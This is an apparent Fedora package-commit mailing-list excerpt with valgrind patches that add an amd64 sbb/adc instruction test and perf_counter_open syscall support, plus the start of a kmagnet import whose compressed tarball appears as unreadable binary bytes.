+	smc1$(EXEEXT) sbbmisc$(EXEEXT) nibz_bennee_mmap$(EXEEXT) \
+	$(am__EXEEXT_4) $(am__EXEEXT_5)
 @BUILD_SSSE3_TESTS_TRUE at am__append_3 = ssse3_misaligned
 
 # DDD: these need to be made to work on Darwin like the x86/ ones were.
@@ -169,6 +169,9 @@ slahf_amd64_LDADD = $(LDADD)
 smc1_SOURCES = smc1.c
 smc1_OBJECTS = smc1.$(OBJEXT)
 smc1_LDADD = $(LDADD)
+sbbmisc_SOURCES = sbbmisc.c
+sbbmisc_OBJECTS = sbbmisc.$(OBJEXT)
+sbbmisc_LDADD = $(LDADD)
 ssse3_misaligned_SOURCES = ssse3_misaligned.c
 ssse3_misaligned_OBJECTS = ssse3_misaligned.$(OBJEXT)
 ssse3_misaligned_LDADD = $(LDADD)
@@ -186,7 +189,7 @@ SOURCES = amd64locked.c bug127521-64.c b
 	$(insn_mmx_SOURCES) $(insn_sse_SOURCES) $(insn_sse2_SOURCES) \
 	$(insn_sse3_SOURCES) $(insn_ssse3_SOURCES) jrcxz.c looper.c \
 	loopnel.c nibz_bennee_mmap.c rcl-amd64.c redundantRexW.c \
-	shrld.c slahf-amd64.c smc1.c ssse3_misaligned.c
+	shrld.c slahf-amd64.c smc1.c sbbmisc.c ssse3_misaligned.c
 DIST_SOURCES = amd64locked.c bug127521-64.c bug132813-amd64.c \
 	bug132918.c bug137714-amd64.c bug156404-amd64.c clc.c \
 	faultstatus.c fcmovnu.c fxtract.c $(insn_basic_SOURCES) \
@@ -194,7 +197,7 @@ DIST_SOURCES = amd64locked.c bug127521-6
 	$(insn_sse2_SOURCES) $(insn_sse3_SOURCES) \
 	$(insn_ssse3_SOURCES) jrcxz.c looper.c loopnel.c \
 	nibz_bennee_mmap.c rcl-amd64.c redundantRexW.c shrld.c \
-	slahf-amd64.c smc1.c ssse3_misaligned.c
+	slahf-amd64.c smc1.c sbbmisc.c ssse3_misaligned.c
 ETAGS = etags
 CTAGS = ctags
 DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
@@ -548,6 +551,7 @@ EXTRA_DIST = \
 	redundantRexW.vgtest redundantRexW.stdout.exp \
 	redundantRexW.stderr.exp \
 	smc1.stderr.exp smc1.stdout.exp smc1.vgtest \
+	sbbmisc.stderr.exp sbbmisc.stdout.exp sbbmisc.vgtest \
 	shrld.stderr.exp shrld.stdout.exp shrld.vgtest \
 	ssse3_misaligned.stderr.exp ssse3_misaligned.stdout.exp \
 	ssse3_misaligned.vgtest \
@@ -688,6 +692,9 @@ slahf-amd64$(EXEEXT): $(slahf_amd64_OBJE
 smc1$(EXEEXT): $(smc1_OBJECTS) $(smc1_DEPENDENCIES) 
 	@rm -f smc1$(EXEEXT)
 	$(LINK) $(smc1_LDFLAGS) $(smc1_OBJECTS) $(smc1_LDADD) $(LIBS)
+sbbmisc$(EXEEXT): $(sbbmisc_OBJECTS) $(sbbmisc_DEPENDENCIES) 
+	@rm -f sbbmisc$(EXEEXT)
+	$(LINK) $(sbbmisc_LDFLAGS) $(sbbmisc_OBJECTS) $(sbbmisc_LDADD) $(LIBS)
 ssse3_misaligned$(EXEEXT): $(ssse3_misaligned_OBJECTS) $(ssse3_misaligned_DEPENDENCIES) 
 	@rm -f ssse3_misaligned$(EXEEXT)
 	$(LINK) $(ssse3_misaligned_LDFLAGS) $(ssse3_misaligned_OBJECTS) $(ssse3_misaligned_LDADD) $(LIBS)
@@ -724,6 +731,7 @@ distclean-compile:
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/shrld.Po at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/slahf-amd64.Po at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/smc1.Po at am__quote@
+ at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/sbbmisc.Po at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/ssse3_misaligned.Po at am__quote@
 
 .c.o:
--- valgrind/none/tests/amd64/sbbmisc.c.jj	2009-10-27 20:50:36.000000000 +0100
+++ valgrind/none/tests/amd64/sbbmisc.c	2009-10-27 20:51:57.000000000 +0100
@@ -0,0 +1,244 @@
+#include "tests/asm.h"
+#include <stdio.h>
+
+char in_b, out_b1, out_b2, in_b2;
+
+short in_w, out_w1, out_w2;
+
+int in_l, out_l1, out_l2;
+
+extern void sbb_ib_al ( void );
+asm("\n"
+VG_SYM(sbb_ib_al) ":\n"
+
+"\tmovb " VG_SYM(in_b) ", %al\n"
+"\tclc\n"
+"\tsbbb $5, %al\n"
+"\tmovb %al, " VG_SYM(out_b1) "\n"
+
+"\tmovb " VG_SYM(in_b) ", %al\n"
+"\tstc\n"
+"\tsbbb $5, %al\n"
+"\tmovb %al, " VG_SYM(out_b2) "\n"
+
+"\tretq\n"
+);
+
+
+extern void sbb_iw_ax ( void );
+asm("\n"
+VG_SYM(sbb_iw_ax) ":\n"
+
+"\tmovw " VG_SYM(in_w) ", %ax\n"
+"\tclc\n"
+"\tsbbw $555, %ax\n"
+"\tmovw %ax, " VG_SYM(out_w1) "\n"
+
+"\tmovw " VG_SYM(in_w) ", %ax\n"
+"\tstc\n"
+"\tsbbw $555, %ax\n"
+"\tmovw %ax, " VG_SYM(out_w2) "\n"
+
+"\tretq\n"
+);
+
+
+extern void sbb_il_eax ( void );
+asm("\n"
+VG_SYM(sbb_il_eax) ":\n"
+
+"\tmovl " VG_SYM(in_l) ", %eax\n"
+"\tclc\n"
+"\tsbbl $555666, %eax\n"
+"\tmovl %eax, " VG_SYM(out_l1) "\n"
+
+"\tmovl " VG_SYM(in_l) ", %eax\n"
+"\tstc\n"
+"\tsbbl $555666, %eax\n"
+"\tmovl %eax, " VG_SYM(out_l2) "\n"
+
+"\tretq\n"
+);
+
+
+extern void sbb_eb_gb ( void );
+asm("\n"
+VG_SYM(sbb_eb_gb) ":\n"
+
+"\tmovb " VG_SYM(in_b) ", %al\n"
+"\tclc\n"
+"\tsbbb " VG_SYM(in_b2) ", %al\n"
+"\tmovb %al, " VG_SYM(out_b1) "\n"
+
+"\tmovb " VG_SYM(in_b) ", %al\n"
+"\tstc\n"
+"\tsbbb " VG_SYM(in_b2) ", %al\n"
+"\tmovb %al, " VG_SYM(out_b2) "\n"
+
+"\tretq\n"
+);
+
+
+extern void sbb_eb_gb_2 ( void );
+asm("\n"
+VG_SYM(sbb_eb_gb_2) ":\n"
+"\tpushq %rcx\n"
+
+"\tmovb " VG_SYM(in_b) ", %cl\n"
+"\tmovb " VG_SYM(in_b2) ", %dh\n"
+"\tclc\n"
+"\tsbbb %dh,%cl\n"
+"\tmovb %cl, " VG_SYM(out_b1) "\n"
+
+"\tmovb " VG_SYM(in_b) ", %cl\n"
+"\tmovb " VG_SYM(in_b2) ", %dh\n"
+"\tstc\n"
+"\tsbbb %dh,%cl\n"
+"\tmovb %cl, " VG_SYM(out_b2) "\n"
+
+"\tpopq %rcx\n"
+"\tretq\n"
+);
+
+
+extern void adc_eb_gb ( void );
+asm("\n"
+VG_SYM(adc_eb_gb) ":\n"
+
+"\tmovb " VG_SYM(in_b) ", %al\n"
+"\tclc\n"
+"\tadcb " VG_SYM(in_b2) ", %al\n"
+"\tmovb %al, " VG_SYM(out_b1) "\n"
+
+"\tmovb " VG_SYM(in_b) ", %al\n"
+"\tstc\n"
+"\tadcb " VG_SYM(in_b2) ", %al\n"
+"\tmovb %al, " VG_SYM(out_b2) "\n"
+
+"\tretq\n"
+);
+
+
+extern void adc_eb_gb_2 ( void );
+asm("\n"
+VG_SYM(adc_eb_gb_2) ":\n"
+"\tpushq %rcx\n"
+
+"\tmovb " VG_SYM(in_b) ", %cl\n"
+"\tmovb " VG_SYM(in_b2) ", %dh\n"
+"\tclc\n"
+"\tadcb %dh,%cl\n"
+"\tmovb %cl, " VG_SYM(out_b1) "\n"
+
+"\tmovb " VG_SYM(in_b) ", %cl\n"
+"\tmovb " VG_SYM(in_b2) ", %dh\n"
+"\tstc\n"
+"\tadcb %dh,%cl\n"
+"\tmovb %cl, " VG_SYM(out_b2) "\n"
+
+"\tpopq %rcx\n"
+"\tretq\n"
+);
+
+extern void adc_ib_al ( void );
+asm("\n"
+VG_SYM(adc_ib_al) ":\n"
+
+"\tmovb " VG_SYM(in_b) ", %al\n"
+"\tclc\n"
+"\tadcb $5, %al\n"
+"\tmovb %al, " VG_SYM(out_b1) "\n"
+
+"\tmovb " VG_SYM(in_b) ", %al\n"
+"\tstc\n"
+"\tadcb $5, %al\n"
+"\tmovb %al, " VG_SYM(out_b2) "\n"
+
+"\tretq\n"
+);
+
+
+extern void adc_iw_ax ( void );
+asm("\n"
+VG_SYM(adc_iw_ax) ":\n"
+
+"\tmovw " VG_SYM(in_w) ", %ax\n"
+"\tclc\n"
+"\tadcw $555, %ax\n"
+"\tmovw %ax, " VG_SYM(out_w1) "\n"
+
+"\tmovw " VG_SYM(in_w) ", %ax\n"
+"\tstc\n"
+"\tadcw $555, %ax\n"
+"\tmovw %ax, " VG_SYM(out_w2) "\n"
+
+"\tretq\n"
+);
+
+
+extern void adc_il_eax ( void );
+asm("\n"
+VG_SYM(adc_il_eax) ":\n"
+
+"\tmovl " VG_SYM(in_l) ", %eax\n"
+"\tclc\n"
+"\tadcl $555666, %eax\n"
+"\tmovl %eax, " VG_SYM(out_l1) "\n"
+
+"\tmovl " VG_SYM(in_l) ", %eax\n"
+"\tstc\n"
+"\tadcl $555666, %eax\n"
+"\tmovl %eax, " VG_SYM(out_l2) "\n"
+
+"\tretq\n"
+);
+
+
+int main ( void )
+{
+   in_b = 99;
+   sbb_ib_al();
+   printf("r1 = %d %d\n", (int)out_b1, (int)out_b2);
+
+   in_w = 49999;
+   sbb_iw_ax();
+   printf("r2 = %d %d\n", (int)out_w1, (int)out_w2);
+
+   in_l = 0xF0000000;
+   sbb_il_eax();
+   printf("r3 = %d %d\n", (int)out_l1, (int)out_l2);
+
+   in_b = 99;
+   in_b2 = 88;
+   sbb_eb_gb();
+   printf("r4 = %d %d\n", (int)out_b1, (int)out_b2);
+
+   in_b = 66;
+   in_b2 = 77;
+   sbb_eb_gb_2();
+   printf("r5 = %d %d\n", (int)out_b1, (int)out_b2);
+
+   in_b = 99;
+   in_b2 = 88;
+   adc_eb_gb();
+   printf("r6 = %d %d\n", (int)out_b1, (int)out_b2);
+
+   in_b = 66;
+   in_b2 = 77;
+   adc_eb_gb_2();
+   printf("r7 = %d %d\n", (int)out_b1, (int)out_b2);
+
+   in_b = 99;
+   adc_ib_al();
+   printf("r8 = %d %d\n", (int)out_b1, (int)out_b2);
+
+   in_w = 49999;
+   adc_iw_ax();
+   printf("r9 = %d %d\n", (int)out_w1, (int)out_w2);
+
+   in_l = 0xF0000000;
+   adc_il_eax();
+   printf("r10 = %d %d\n", (int)out_l1, (int)out_l2);
+
+   return 0;
+}
--- valgrind/none/tests/amd64/sbbmisc.stderr.exp.jj	2009-10-27 20:50:39.000000000 +0100
+++ valgrind/none/tests/amd64/sbbmisc.stderr.exp	2009-10-09 12:52:02.000000000 +0200
@@ -0,0 +1,2 @@
+
+

valgrind-3.5.0-syscalls.patch:
 coregrind/m_syswrap/priv_syswrap-linux.h  |    1 
 coregrind/m_syswrap/syswrap-amd64-linux.c |    7 +++-
 coregrind/m_syswrap/syswrap-linux.c       |   24 ++++++++++++++
 coregrind/m_syswrap/syswrap-ppc32-linux.c |    6 ++-
 coregrind/m_syswrap/syswrap-ppc64-linux.c |   12 ++++---
 coregrind/m_syswrap/syswrap-x86-linux.c   |    7 +++-
 include/vki/vki-linux.h                   |   51 ++++++++++++++++++++++++++++++
 include/vki/vki-scnums-amd64-linux.h      |    4 ++
 include/vki/vki-scnums-ppc32-linux.h      |    4 ++
 include/vki/vki-scnums-ppc64-linux.h      |    4 ++
 include/vki/vki-scnums-x86-linux.h        |    4 ++
 11 files changed, 117 insertions(+), 7 deletions(-)

--- NEW FILE valgrind-3.5.0-syscalls.patch ---
--- valgrind/coregrind/m_syswrap/priv_syswrap-linux.h	2009-10-27 21:31:49.852433085 +0100
+++ valgrind/coregrind/m_syswrap/priv_syswrap-linux.h	2009-10-27 21:25:05.000000000 +0100
@@ -47,6 +47,7 @@ extern SysRes ML_(do_fork_clone) ( Threa
 DECL_TEMPLATE(linux, sys_mount);
 DECL_TEMPLATE(linux, sys_oldumount);
 DECL_TEMPLATE(linux, sys_umount);
+DECL_TEMPLATE(linux, sys_perf_counter_open);
 
 // POSIX, but various sub-cases differ between Linux and Darwin.
 DECL_TEMPLATE(linux, sys_fcntl);
--- valgrind/coregrind/m_syswrap/syswrap-amd64-linux.c	2009-10-27 21:31:49.852433085 +0100
+++ valgrind/coregrind/m_syswrap/syswrap-amd64-linux.c	2009-10-27 21:25:05.000000000 +0100
@@ -1375,7 +1375,12 @@ const SyscallTableEntry ML_(syscall_tabl
    LINXY(__NR_epoll_create1,     sys_epoll_create1),    // 291
    //   (__NR_dup3,              sys_ni_syscall)        // 292
    LINXY(__NR_pipe2,             sys_pipe2),            // 293
-   LINXY(__NR_inotify_init1,     sys_inotify_init1),     // 294
+   LINXY(__NR_inotify_init1,     sys_inotify_init1),    // 294
+
+   //   (__NR_preadv,            sys_ni_syscall)        // 295
+   //   (__NR_pwritev,           sys_ni_syscall)        // 296
+   //   (__NR_rt_tgsigqueueinfo, sys_ni_syscall)        // 297
+   LINXY(__NR_perf_counter_open, sys_perf_counter_open) // 298
 };
 
 const UInt ML_(syscall_table_size) = 
--- valgrind/coregrind/m_syswrap/syswrap-linux.c	2009-10-27 21:31:49.853433112 +0100
+++ valgrind/coregrind/m_syswrap/syswrap-linux.c	2009-10-27 21:25:05.000000000 +0100
@@ -2410,6 +2410,30 @@ PRE(sys_stime)
    PRE_MEM_READ( "stime(t)", ARG1, sizeof(vki_time_t) );
 }
 
+PRE(sys_perf_counter_open)
+{
+   PRINT("sys_perf_counter_open ( %#lx, %ld, %ld, %ld, %ld )",
+         ARG1,ARG2,ARG3,ARG4,ARG5);
+   PRE_REG_READ5(long, "perf_counter_open",
+                 struct vki_perf_counter_attr *, attr,
+                 vki_pid_t, pid, int, cpu, int, group_fd,
+                 unsigned long, flags);
+   PRE_MEM_READ( "perf_counter_open(attr)",
+                 ARG1, sizeof(struct vki_perf_counter_attr) );
+}
+
+POST(sys_perf_counter_open)
+{
+   vg_assert(SUCCESS);
+   if (!ML_(fd_allowed)(RES, "perf_counter_open", tid, True)) {
+      VG_(close)(RES);
+      SET_STATUS_Failure( VKI_EMFILE );
+   } else {
+      if (VG_(clo_track_fds))
+         ML_(record_fd_open_nameless)(tid, RES);
+   }
+}
+
 /* ---------------------------------------------------------------------
    utime wrapper
    ------------------------------------------------------------------ */
--- valgrind/coregrind/m_syswrap/syswrap-ppc32-linux.c	2009-10-27 21:31:49.855432715 +0100
+++ valgrind/coregrind/m_syswrap/syswrap-ppc32-linux.c	2009-10-27 21:25:05.000000000 +0100
@@ -1867,7 +1867,11 @@ const SyscallTableEntry ML_(syscall_tabl
    LINXY(__NR_epoll_create1,     sys_epoll_create1),    // 315
    //   (__NR_dup3,              sys_ni_syscall)        // 316
    LINXY(__NR_pipe2,             sys_pipe2),            // 317
-   LINX_(__NR_inotify_init1,     sys_inotify_init1)     // 318
+   LINXY(__NR_inotify_init1,     sys_inotify_init1),    // 318
+   LINXY(__NR_perf_counter_open, sys_perf_counter_open) // 319
+   //   (__NR_preadv,            sys_ni_syscall)        // 320
+   //   (__NR_pwritev,           sys_ni_syscall)        // 321
+   //   (__NR_rt_tgsigqueueinfo, sys_ni_syscall)        // 322
 };
 
 const UInt ML_(syscall_table_size) = 
--- valgrind/coregrind/m_syswrap/syswrap-ppc64-linux.c	2009-10-27 21:31:49.855432715 +0100
+++ valgrind/coregrind/m_syswrap/syswrap-ppc64-linux.c	2009-10-27 21:25:05.000000000 +0100
@@ -1191,10 +1191,10 @@ const SyscallTableEntry ML_(syscall_tabl
    GENX_(__NR_rename,            sys_rename),             //  38
    GENX_(__NR_mkdir,             sys_mkdir),              //  39
 
-// _____(__NR_rmdir,             sys_rmdir),              //  40
+   GENX_(__NR_rmdir,             sys_rmdir),              //  40
    GENXY(__NR_dup,               sys_dup),                //  41
    LINXY(__NR_pipe,              sys_pipe),               //  42
-   GENXY(__NR_times,             sys_times),              // 43
+   GENXY(__NR_times,             sys_times),              //  43
 // _____(__NR_prof,              sys_prof),               //  44
 
    GENX_(__NR_brk,               sys_brk),                //  45
@@ -1355,7 +1355,7 @@ const SyscallTableEntry ML_(syscall_tabl
 
 // _____(__NR_rt_sigpending,     sys_rt_sigpending),      // 175
    LINXY(__NR_rt_sigtimedwait,   sys_rt_sigtimedwait),    // 176
-// _____(__NR_rt_sigqueueinfo,   sys_rt_sigqueueinfo),    // 177
+   LINXY(__NR_rt_sigqueueinfo,   sys_rt_sigqueueinfo),    // 177
 // _____(__NR_rt_sigsuspend,     sys_rt_sigsuspend),      // 178
    GENXY(__NR_pread64,           sys_pread64),            // 179
 
@@ -1507,7 +1507,11 @@ const SyscallTableEntry ML_(syscall_tabl
    LINXY(__NR_epoll_create1,     sys_epoll_create1),    // 315
    //   (__NR_dup3,              sys_ni_syscall)        // 316
    LINXY(__NR_pipe2,             sys_pipe2),            // 317
-   LINX_(__NR_inotify_init1,     sys_inotify_init1)     // 318
+   LINXY(__NR_inotify_init1,     sys_inotify_init1),    // 318
+   LINXY(__NR_perf_counter_open, sys_perf_counter_open) // 319
+   //   (__NR_preadv,            sys_ni_syscall)        // 320
+   //   (__NR_pwritev,           sys_ni_syscall)        // 321
+   //   (__NR_rt_tgsigqueueinfo, sys_ni_syscall)        // 322
 };
 
 const UInt ML_(syscall_table_size) = 
--- valgrind/coregrind/m_syswrap/syswrap-x86-linux.c	2009-10-27 21:31:49.854432906 +0100
+++ valgrind/coregrind/m_syswrap/syswrap-x86-linux.c	2009-10-27 21:25:05.000000000 +0100
@@ -2254,7 +2254,12 @@ const SyscallTableEntry ML_(syscall_tabl
 
    //   (__NR_dup3,              sys_ni_syscall)        // 330
    LINXY(__NR_pipe2,             sys_pipe2),            // 331
-   LINX_(__NR_inotify_init1,     sys_inotify_init1)     // 332
+   LINXY(__NR_inotify_init1,     sys_inotify_init1),    // 332
+   //   (__NR_preadv,            sys_ni_syscall)        // 333
+   //   (__NR_pwritev,           sys_ni_syscall)        // 334
+
+   //   (__NR_rt_tgsigqueueinfo, sys_ni_syscall)        // 335
+   LINXY(__NR_perf_counter_open, sys_perf_counter_open) // 336
 };
 
 const UInt ML_(syscall_table_size) = 
--- valgrind/include/vki/vki-linux.h	2009-08-19 15:37:07.000000000 +0200
+++ valgrind/include/vki/vki-linux.h	2009-10-27 21:50:13.000000000 +0100
@@ -2570,6 +2570,57 @@ struct	vki_iwreq 
 	union	vki_iwreq_data	u;
 };
 
+/*--------------------------------------------------------------------*/
+// From linux-2.6.31.5/include/linux/perf_counter.h
+/*--------------------------------------------------------------------*/
+
+struct vki_perf_counter_attr {
+
+	/*
+	 * Major type: hardware/software/tracepoint/etc.
+	 */
+	__vki_u32			type;
+
+	/*
+	 * Size of the attr structure, for fwd/bwd compat.
+	 */
+	__vki_u32			size;
+
+	/*
+	 * Type specific configuration information.
+	 */
+	__vki_u64			config;
+
+	union {
+		__vki_u64		sample_period;
+		__vki_u64		sample_freq;
+	};
+
+	__vki_u64			sample_type;
+	__vki_u64			read_format;
+
+	__vki_u64			disabled       :  1, /* off by default        */
+					inherit	       :  1, /* children inherit it   */
+					pinned	       :  1, /* must always be on PMU */
+					exclusive      :  1, /* only group on PMU     */
+					exclude_user   :  1, /* don't count user      */
+					exclude_kernel :  1, /* ditto kernel          */
+					exclude_hv     :  1, /* ditto hypervisor      */
+					exclude_idle   :  1, /* don't count when idle */
+					mmap           :  1, /* include mmap data     */
+					comm	       :  1, /* include comm data     */
+					freq           :  1, /* use freq, not period  */
+					inherit_stat   :  1, /* per task counts       */
+					enable_on_exec :  1, /* next exec enables     */
+					task           :  1, /* trace fork/exit       */
+
+					__reserved_1   : 50;
+
+	__vki_u32			wakeup_events;	/* wakeup every n events */
+	__vki_u32			__reserved_2;
+
+	__vki_u64			__reserved_3;
+};
 
 #endif // __VKI_LINUX_H
 
--- valgrind/include/vki/vki-scnums-amd64-linux.h	2009-08-19 15:37:07.000000000 +0200
+++ valgrind/include/vki/vki-scnums-amd64-linux.h	2009-10-27 21:50:13.000000000 +0100
@@ -376,6 +376,10 @@
 #define __NR_dup3               292
 #define __NR_pipe2              293
 #define __NR_inotify_init1      294
+#define __NR_preadv             295
+#define __NR_pwritev            296
+#define __NR_rt_tgsigqueueinfo  297
+#define __NR_perf_counter_open  298
 
 #endif /* __VKI_SCNUMS_AMD64_LINUX_H */
 
--- valgrind/include/vki/vki-scnums-ppc32-linux.h	2009-08-19 15:37:07.000000000 +0200
+++ valgrind/include/vki/vki-scnums-ppc32-linux.h	2009-10-27 21:50:13.000000000 +0100
@@ -361,6 +361,10 @@
 #define __NR_dup3               316
 #define __NR_pipe2              317
 #define __NR_inotify_init1      318
+#define __NR_perf_counter_open  319
+#define __NR_preadv             320
+#define __NR_pwritev            321
+#define __NR_rt_tgsigqueueinfo  322
 
 #endif /* __VKI_SCNUMS_PPC32_LINUX_H */
 
--- valgrind/include/vki/vki-scnums-ppc64-linux.h	2009-08-19 15:37:07.000000000 +0200
+++ valgrind/include/vki/vki-scnums-ppc64-linux.h	2009-10-27 21:50:13.000000000 +0100
@@ -353,6 +353,10 @@
 #define __NR_dup3               316
 #define __NR_pipe2              317
 #define __NR_inotify_init1      318
+#define __NR_perf_counter_open  319
+#define __NR_preadv             320
+#define __NR_pwritev            321
+#define __NR_rt_tgsigqueueinfo  322
 
 #endif /* __VKI_SCNUMS_PPC64_LINUX_H */
 
diff -upr valgrind/include/vki/vki-scnums-x86-linux.h valgrind/include/vki/vki-scnums-x86-linux.h
--- valgrind/include/vki/vki-scnums-x86-linux.h	2009-08-19 15:37:07.000000000 +0200
+++ valgrind/include/vki/vki-scnums-x86-linux.h	2009-10-27 21:50:13.000000000 +0100
@@ -367,6 +367,10 @@
 #define __NR_dup3               330
 #define __NR_pipe2              331
 #define __NR_inotify_init1      332
+#define __NR_preadv             333
+#define __NR_pwritev            334
+#define __NR_rt_tgsigqueueinfo  335
+#define __NR_perf_counter_open  336
 
 #endif /* __VKI_SCNUMS_X86_LINUX_H */
 


Index: valgrind.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valgrind/F-12/valgrind.spec,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- valgrind.spec	23 Oct 2009 15:15:35 -0000	1.72
+++ valgrind.spec	27 Oct 2009 21:19:42 -0000	1.73
@@ -1,7 +1,7 @@
 Summary: Tool for finding memory management bugs in programs
 Name: valgrind
 Version: 3.5.0
-Release: 6
+Release: 7
 Epoch: 1
 Source0: http://www.valgrind.org/downloads/valgrind-%{version}.tar.bz2
 Patch1: valgrind-3.5.0-cachegrind-improvements.patch
@@ -16,6 +16,8 @@ Patch9: valgrind-3.5.0-helgrind-race-sup
 Patch10: valgrind-3.5.0-ppc-tests.patch
 Patch11: valgrind-3.5.0-amd64-loopnel.patch
 Patch12: valgrind-3.5.0-ppc-dwarf3.patch
+Patch13: valgrind-3.5.0-amd64-adcsbb.patch
+Patch14: valgrind-3.5.0-syscalls.patch
 License: GPLv2
 URL: http://www.valgrind.org/
 Group: Development/Debuggers
@@ -81,6 +83,8 @@ or valgrind plugins.
 %patch10 -p1
 %patch11 -p1
 %patch12 -p1
+%patch13 -p1
+%patch14 -p1
 
 %build
 %ifarch x86_64 ppc64
@@ -166,6 +170,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Tue Oct 27 2009 Jakub Jelinek <jakub at redhat.com> 3.5.0-7
+- add perf_counter_open syscall support (#531271)
+- add handling of some sbb/adc insn forms on x86_64 (KDE#211410)
+
 * Fri Oct 23 2009 Jakub Jelinek <jakub at redhat.com> 3.5.0-6
 - ppc and ppc64 fixes
 



From rrix at fedoraproject.org  Tue Oct 27 21:30:52 2009
From: rrix at fedoraproject.org (Ryan Rix)
Date: Tue, 27 Oct 2009 21:30:52 +0000 (UTC)
Subject: rpms/kmagnet/F-11 109111-kmagnet-0.03.tar.bz2, NONE,
	1.1 kmagnet-0.03-5.fc13.src.rpm, NONE,
	1.1 kmagnet-desktop-category.patch, NONE, 1.1 kmagnet.spec, NONE, 1.1
Message-ID: <20091027213052.3C74A11C0267@cvs1.fedora.phx.redhat.com>

Author: rrix

Update of /cvs/pkgs/rpms/kmagnet/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16990

Added Files:
	109111-kmagnet-0.03.tar.bz2 kmagnet-0.03-5.fc13.src.rpm 
	kmagnet-desktop-category.patch kmagnet.spec 
Log Message:
Initial F-11 import



--- NEW FILE 109111-kmagnet-0.03.tar.bz2 ---
BZh91AY&SY?T"?
?f???=???}?S!P?2?_y???uR?P??
?????@
b?EJ??X???y??????!?]?????
??#??$?/=??I??s?T????z>??????+f
9??dE!"?7?W at K?=w?S?e$??<=

?
?m????5

V???AQ
??
DT?IZ2????B?RT???J?B?T?????T?%??)M?iJ%JRm?"SM
d
3????~?y?g?=Lh=SF54z?c??O(?SOS??z&44?zmB0M??C'????$?D?
=54??i?z5<S??T4???O5#?
????? h

???K??&?j?O???}?@??????g????
????$???#??y?#
????w_
??J=??A??1?u?hl?(??
???9g?2o7?Z)e?3?????????.6??is_n?k[???P
?m??1?x???s?
???x?????@J?V?J7??y??(?zB???l????a???(s???P??NJ?Eg?????^Orr??e,?:?MfCEnm?:???<O???4
A???<E???
G&??ur(1?+>c?L????V???=?G?W?wu ??
B|Vt?N?x????e???_9?^???-f ??z??B-
w?c??<??epp??>
+e?????-??G?m?P???,?k??|@v??(?	?x?~?????????yV?P??
???S??????dE?2 ?s?3?? ?@WwH?"|? 	?g $??}?j?=bi???<?v.???n????l???]W???|)8??b??o???:???
????????J????@?c7??,??CdQKm&j6?lw?c?~L;Y???B?9?9??HJ?a@??]px?s
?o"????i??"???1`???>T?J??3?A?M?W????????h?S???,k?[??<B??x?]????x?I???e??r????????U??t??????e?M??I?U??mG??t?
?}???n[?/?
?x??????2????'I?K2?@.???^3 ???????8}e???Lu???
????Oaa/?????y????-??Y/?? u2P?u???nv?@? ????`~???~??2???(???FW????X?>-?J?k???????qxf'0cp%J?
??Mt??_y???
???)?????r???H?c????`???qq?FV?_~???m??G?k?lIp?2?'tm?+?9.?????>???.?0?$?;?Zz<
?S??q*n'?? ?A?Am5? ]V???&??_?h@???3???g?*?|F?U????@?X??`??A???i?????9?h 0F2g??tR
2???xt??Cog?q??f??_?????g?o??2?w??D???O+r?G???qw???Z4?I8??}??=??a?????g!r?E?"d?4????P7??c??[?,??
?#0????k?No??????^??g?J?????? >??3?.??oU???????????C??z??\u?U????B?????j"=??Dh
?m
??2?????????c
/?????XBh??z@??[J?*$???
YX(T???W:??v???m?^?O?h???Q??V??H??eA?,?j??D&/????-??^???Y????\x4P???@??&H??za??? ??????E??}4@??N??4??H??
??N??p???4(???D??????`?x??????JJ??t?????d???#2&????5aS?3t???f??i??>;^?j?g???Z?:?Q?s??F???s??ht????oW???(r_??c=??-?????p;5??xz?[??DA?~?
?-<????F?PQfR?Ad?/N?g???P9*??H/"?1DE
d
?q^???????????]?E;?Y97??`0???????
R?????	Y&QK(??g
??7?j??C??? ?q?f????f
?z?7?)O??pt?F?[???=?LB???a??f%?4??u?
?k_?cY?R9?L{??`?4?Ao????[????dx~F-qhZ?#;hQ?UB*??*#?n?????:E0???(*?7???,"???q????n??b????5?}?[???z???qX?X
???iR?2(!?l?B?!
???????k,j?6+U19$CyO??????????4??mj???b???P?~K???????`?z?*?;??v???J?x?O{
A?m9????>5?-???OX}?f??uh??????????6?%??i??v????V???? A)}??
??7?,{???%x?????_q?;??}*?r?8se9a>??q????Xt?8?????~????m??TUz?;????l?Z??? ?q???O????T?#?)?P&$?g???a??x???+E 
?
?07y??????G~t?1m?????O???}??m?+?????Q???uek_g???qG{??m???_9?_?{?p
K?s?
??
8?F?Lu??-????~?nu??5??}3???????N???M???????}?"?Qo??D}???
3?T????i?Q?2S?4??b????o?Y?O??\??!??m3D???
$??	???W??%^??5??E???}?w???1?????#G?????'??|?g??%?.?????z^??z????v_s+???????p??E??Ho?j?#9d?c?Sd?kj\??+g??cqX?!?WD??
#T.??????q??mc?v???????F????H??\???????*	?;<????jf????g??????6??|o,?w?o?????B?X???hN???
?dLM??>?t?'??????s?e.?|?<??
?mn??
?R6???o??[z?3??S?gh?????;?????>?V???? O??F?(???5h?X??}???e?5??o?*f??:F?????@??+????
?O???7)Y???p]???N????
NIOR??h
??[U??????{
z&D?????6???O?2V??0???<&3????"7?;??H?H?^?u?>e at H?Tp^?E?G????8?_????f?w?Q?O??w?[?T??B~%fp
d??????y??s?[?E|?o?T??????_<??
?2MN???~??????:}????|p?f??%g?????#x2a??
?.E??O????q??Rd??kAWD????????N}?vh??%@
Q?a???=?)md?^?Z?p????d??htsT?????-z?
?n??5??(?????
?X(_gEr????U'/?
<F??????^?H=YyeU????"??d"???1?
?9?]Z???LL	
B?M???Q???m???_?M64?T?H&?#)55F Ii?l?-?0??;UE??Z??k????b?????&&???~{?]??/???? i?????y??eb62DdeZe~0!y?	-2?e??c?@
g????!???zE#???9???? ?6? ??y??+1??%???x??????A??ZY??C?D??|????*???B??,??(C~?bM??!	???????
d??|J?ZK ?xwto??????/8???VD?uA
O?W?
